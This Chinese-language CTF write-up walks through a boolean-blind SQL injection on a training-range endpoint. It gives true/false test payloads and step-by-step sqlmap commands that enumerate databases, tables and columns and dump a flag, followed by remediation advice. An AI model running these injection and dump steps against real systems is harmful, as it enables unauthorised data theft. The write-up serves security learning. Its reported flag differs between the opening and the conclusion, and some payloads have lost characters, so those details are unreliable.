【好靶场】SQL 注入-布尔盲注
【好靶场】SQL 注入-布尔盲注使用 sqlmap 读取 Flag【好靶场】SQL 注入-布尔盲注一、题目分析二、确认接口和参数三、使用 SQLMap 检测注入四、枚举数据库五、枚举数据表六、枚举 flag 表字段七、导出 Flag八、漏洞原理九、修复建议1. 使用参数化查询2. 对 id 做类型校验3. 数据库账户使用最小权限4. 统一异常处理并记录异常请求十、总结【好靶场】SQL 注入-布尔盲注声明本文仅用于官方授权的隔离靶场和 CTF 安全学习。文中所有请求只针对题目给出的靶场地址不涉及任何第三方网站或未授权系统。靶场接口http://hbc2.haobachang.com:33581/check最终 Flagflag{819b89cc02}一、题目分析本题的目标接口为GET /check?id1其中id是用户可控参数。接口不会直接返回 SQL 查询结果而是根据查询结果返回真假状态。因此本题属于布尔盲注SQL 条件成立 → 接口返回真 SQL 条件不成立 → 接口返回假虽然页面看不到数据库中的 Flag但可以通过大量请求逐步判断Flag 第 1 位是不是 f Flag 第 1 位是不是 l Flag 第 1 位是不是 a ...当某个条件返回真时就能确定对应字符然后继续读取下一位。二、确认接口和参数先访问正常请求http://hbc2.haobachang.com:33581/check?id1重点观察接口响应。对于布尔盲注通常需要找到类似以下的真假差异{exists:true}和{exists:false}接着测试恒真和恒假条件/check?id1 and (11) /check?id1 and (12)如果两次响应不同就说明输入已经影响了后端 SQL 语句的逻辑判断存在布尔盲注可能。三、使用 SQLMap 检测注入Kali 中执行sqlmap-uhttp://hbc2.haobachang.com:33581//check?id1\-pid\--techniqueB\--batch\--flush-session参数说明-u 指定目标 URL -p id 只测试 id 参数 --techniqueB 只使用 Boolean-based blind 技术 --batch 自动选择默认选项 --flush-session 清除旧的检测缓存SQLMap 检测到Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause识别出的后端数据库为MySQL 5.x / MariaDB forkSQLMap 使用的有效 Payload 结构类似1) AND 53595359 AND (77047704这里的1)说明原始 SQL 条件外层存在一个右括号输入需要先将其闭合然后再拼接新的布尔条件。实际 Payload 的完整形式由 SQLMap 根据响应自动调整。四、枚举数据库确认注入成功后使用以下命令枚举数据库sqlmap-uhttp://hbc2.haobachang.com:33581/check?id1\-pid\--techniqueB\--dbs\--batch发现的数据库如下information_schema mydb mysql performance_schema sql_injection_lab sys其中最符合题目名称、并且包含业务数据的是sql_injection_lab五、枚举数据表指定数据库查看其中的数据表sqlmap-uhttp://hbc2.haobachang.com:33581/check?id1\-pid\--techniqueB\-Dsql_injection_lab\--tables\--batch\--threads3结果flag users其中flag表很可能就是本题的目标表。六、枚举 flag 表字段继续查看flag表的字段sqlmap-uhttp://hbc2.haobachang.com:33581/check?id1\-pid\--techniqueB\-Dsql_injection_lab\-Tflag\--columns\--batch\--threads3结果id int(11) flag text目标字段确定为flag七、导出 Flag指定数据库、数据表和字段使用--dump读取数据sqlmap-uhttp://hbc2.haobachang.com:33581/check?id1\-pid\--techniqueB\-Dsql_injection_lab\-Tflag\-Cflag\--dump\--batch\--threads3SQLMap 成功读取到 1 条记录Database: sql_injection_lab Table: flag Column: flag flag{d47ea83286}因此本题最终 Flag 为flag{d47ea83286}八、漏洞原理后端代码如果采用字符串拼接可能类似于user_idrequest.args.get(id,)sqlSELECT 1 FROM users WHERE (id user_id)当用户输入普通数字时SQL 语句看起来正常SELECT1FROMusersWHERE(id1)但攻击者可以传入额外的逻辑表达式1) AND 11拼接后可能变成SELECT1FROMusersWHERE(id1)AND11)通过调整括号和后续内容就可能让用户输入参与 SQL 语句解析从而控制查询条件。本题没有直接返回数据库内容而是只返回是否存在因此需要使用布尔盲注逐步提取数据。九、修复建议1. 使用参数化查询不要直接拼接用户输入sqlSELECT 1 FROM users WHERE (id user_id)应该使用参数化查询cursor.execute(SELECT 1 FROM users WHERE id %s LIMIT 1,(user_id,))这样用户输入会被当作数据处理而不会被当作 SQL 代码解析。2. 对 id 做类型校验id按业务逻辑应该是整数可以先进行类型转换try:user_idint(request.args.get(id,))exceptValueError:return{error:invalid id},400类型校验可以作为辅助防护但不能替代参数化查询。3. 数据库账户使用最小权限应用数据库账户不应拥有不必要的权限例如不需要的数据库不要授权 不需要写入时不要授予写权限 不需要管理权限时不要使用 root4. 统一异常处理并记录异常请求生产环境不应将 SQL 错误、数据库版本和表结构直接返回给用户。同时可以对大量重复、异常参数请求进行限速和日志告警。十、总结本题完整解题流程如下访问 /check?id1 ↓ 测试恒真和恒假条件 ↓ 确认 id 参数存在布尔盲注 ↓ SQLMap 识别 MySQL / MariaDB ↓ 枚举数据库 sql_injection_lab ↓ 发现 flag、users 两张表 ↓ 发现 flag 表中的 flag 字段 ↓ 使用 --dump 导出数据 ↓ 得到 Flagflag{d47ea83286}最终结果flag{d47ea83286}

相关新闻

TEFManager:跨平台泰拉瑞亚模组管理器部署与功能全解析

TEFManager:跨平台泰拉瑞亚模组管理器部署与功能全解析

这次我们来看一个专门为《泰拉瑞亚》玩家设计的工具——TEFManager。它是一个跨平台的模组管理器,核心目标是解决玩家在不同操作系统上管理《泰拉瑞亚》模组(Mod)时遇到的繁琐和不一致问题。对于喜欢打Mod但苦于手动安装、版本冲突和跨平台同…

2026/9/1 20:51:13 阅读更多 →
WPSJS插件开发实战:从环境搭建到发布的全流程经验

WPSJS插件开发实战:从环境搭建到发布的全流程经验

简介:此资源是一份面向 WPS 二次开发者的 JS 插件开发指南配套代码包,适合希望掌握 WPS 加载项创建、调试与发布流程的前端或办公软件扩展开发者使用。压缩包共 65 个文件,约 765KB,主要包含 JavaScript/TypeScript 源码、HTML 界…

2026/9/1 20:51:13 阅读更多 →
用event.code实现键盘检测:一个纯前端全键无冲测试工具

用event.code实现键盘检测:一个纯前端全键无冲测试工具

简介:一份面向C# WinForm初学者的虚拟键盘(TestKeyBorad)完整工程源码,对应CSDN博客教程,解决触摸屏或桌面应用中灵活调用软键盘输入的问题。压缩包共38个文件,含15个cs源码、5个resx布局资源、2个dll与2个…

2026/9/1 20:51:13 阅读更多 →

最新新闻

暗区突围MPX配弹指南:7N31与达姆弹的选择逻辑

暗区突围MPX配弹指南:7N31与达姆弹的选择逻辑

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/1 21:42:02 阅读更多 →
网易测试工程师校招笔试全解析:高频考点与实战备考指南

网易测试工程师校招笔试全解析:高频考点与实战备考指南

每年这个时间点,总有很多准备投测试岗的同学来问我:“网易测试工程师的校招笔试到底考什么?难不难?”实话讲,网易2020校招笔试-测试工程师(提前批)这套题,在我看的众多互联网公司测试…

2026/9/1 21:42:02 阅读更多 →
测试工程师笔试全攻略:大厂题型拆解与10天冲刺计划

测试工程师笔试全攻略:大厂题型拆解与10天冲刺计划

说实话,看到“网易2020校招笔试- 测试工程师(提前批)”这个标题,我第一反应是“考古”,但再一想,这类大厂笔试题的底层筛选逻辑,这几年几乎没变过。它不单测你会不会写用例、会不会点按钮&#…

2026/9/1 21:42:02 阅读更多 →
基于MATLAB/Simulink的Boost电路电压单闭环PI控制设计与仿真

基于MATLAB/Simulink的Boost电路电压单闭环PI控制设计与仿真

在电力电子和开关电源的设计与仿真中,Boost电路因其能够将输入电压升高而得到广泛应用。然而,一个稳定的输出电压是许多应用场景(如新能源发电、电动汽车、LED驱动等)的基本要求。直接使用固定占空比(D)的P…

2026/9/1 21:42:02 阅读更多 →
Boost电路电压单闭环PID控制:从传递函数推导到MATLAB/Simulink仿真实现

Boost电路电压单闭环PID控制:从传递函数推导到MATLAB/Simulink仿真实现

这类题目看起来是电力电子或自动控制课程里的一个经典设计环节,但很多人拿到手会懵:Boost电路、电压单闭环、占空比D不变……这些词都认识,但具体要做什么、怎么做、怎么在MATLAB里实现,往往缺少一个清晰的、能直接上手的路径。更…

2026/9/1 21:42:02 阅读更多 →
Plecs仿真四相交错Buck:C语言PI控制与DCM补偿实战

Plecs仿真四相交错Buck:C语言PI控制与DCM补偿实战

这类低压大电流的电源仿真,最值得先看的不是拓扑有多复杂,而是控制算法能不能在仿真里稳定跑起来,以及从单相扩展到四相交错并联时,那些“坑”会不会被放大。很多人一上来就调环路参数,结果发现仿真要么不收敛&#xf…

2026/9/1 21:41:01 阅读更多 →

日新闻

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能分类:[AI/大模型]细分主题:AI 增强型 CI/CD 流水线自动化与 GitOps 实践:Agent 工作流、工具调用与任务拆解:从原型到生产的验收清单很多团队在尝试用大…

2026/9/1 0:03:21 阅读更多 →
容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场分类:[工程技术]细分主题:Kubernetes 生产环境运维与排障实战:可复制的项目复盘模板与决策记录大部分团队的事故复盘报告,最后都变成了躺在 Confluence 或钉…

2026/9/1 0:03:21 阅读更多 →
容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步分类:[工程技术]细分主题:Docker 容器化技术与镜像安全管理:核心链路的逐步实现与关键代码取舍面对一个积累了五六年历史包袱的单体架构应用(包含 Web 接口、后台…

2026/9/1 0:03:21 阅读更多 →

周新闻

备战数据库管理工程师校招:索引、事务、备份恢复核心考点解析

备战数据库管理工程师校招:索引、事务、备份恢复核心考点解析

每年校招季我都会接触不少准备数据库方向笔试的同学,看到最多的状态就是:简历上写着“熟悉 MySQL”“了解索引优化”,一碰到数据库管理工程师的笔试卷,却在索引、事务、锁、备份恢复这些题目上翻车。网易这套 2018 校园招聘数据库…

2026/9/1 19:44:48 阅读更多 →
数字电路时序基石:深入理解建立时间与保持时间

数字电路时序基石:深入理解建立时间与保持时间

1. 这不是“背公式”的事:时间参数到底在约束什么你翻过数字电路教材,一定见过这两个词:建立时间(Setup Time)和保持时间(Hold Time)。它们常被并列写在触发器(Flip-Flop&#xff09…

2026/9/1 18:13:19 阅读更多 →
蓝桥杯国赛超声波测距机:从单片机原理到嵌入式系统实战

蓝桥杯国赛超声波测距机:从单片机原理到嵌入式系统实战

1. 项目缘起:从赛题到超声波测距机的诞生第八届蓝桥杯单片机设计与开发国赛的题目,我至今记忆犹新。它没有直接给出一个花哨的名字,而是用“超声波测距机”这个朴实无华的功能描述,精准地勾勒出了考核的核心。对于当时备赛的我而言…

2026/8/31 14:32:14 阅读更多 →

月新闻

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能分类:[AI/大模型]细分主题:AI 增强型 CI/CD 流水线自动化与 GitOps 实践:Agent 工作流、工具调用与任务拆解:从原型到生产的验收清单很多团队在尝试用大…

2026/9/1 0:03:21 阅读更多 →
容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场分类:[工程技术]细分主题:Kubernetes 生产环境运维与排障实战:可复制的项目复盘模板与决策记录大部分团队的事故复盘报告,最后都变成了躺在 Confluence 或钉…

2026/9/1 0:03:21 阅读更多 →
容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步分类:[工程技术]细分主题:Docker 容器化技术与镜像安全管理:核心链路的逐步实现与关键代码取舍面对一个积累了五六年历史包袱的单体架构应用(包含 Web 接口、后台…

2026/9/1 0:03:21 阅读更多 →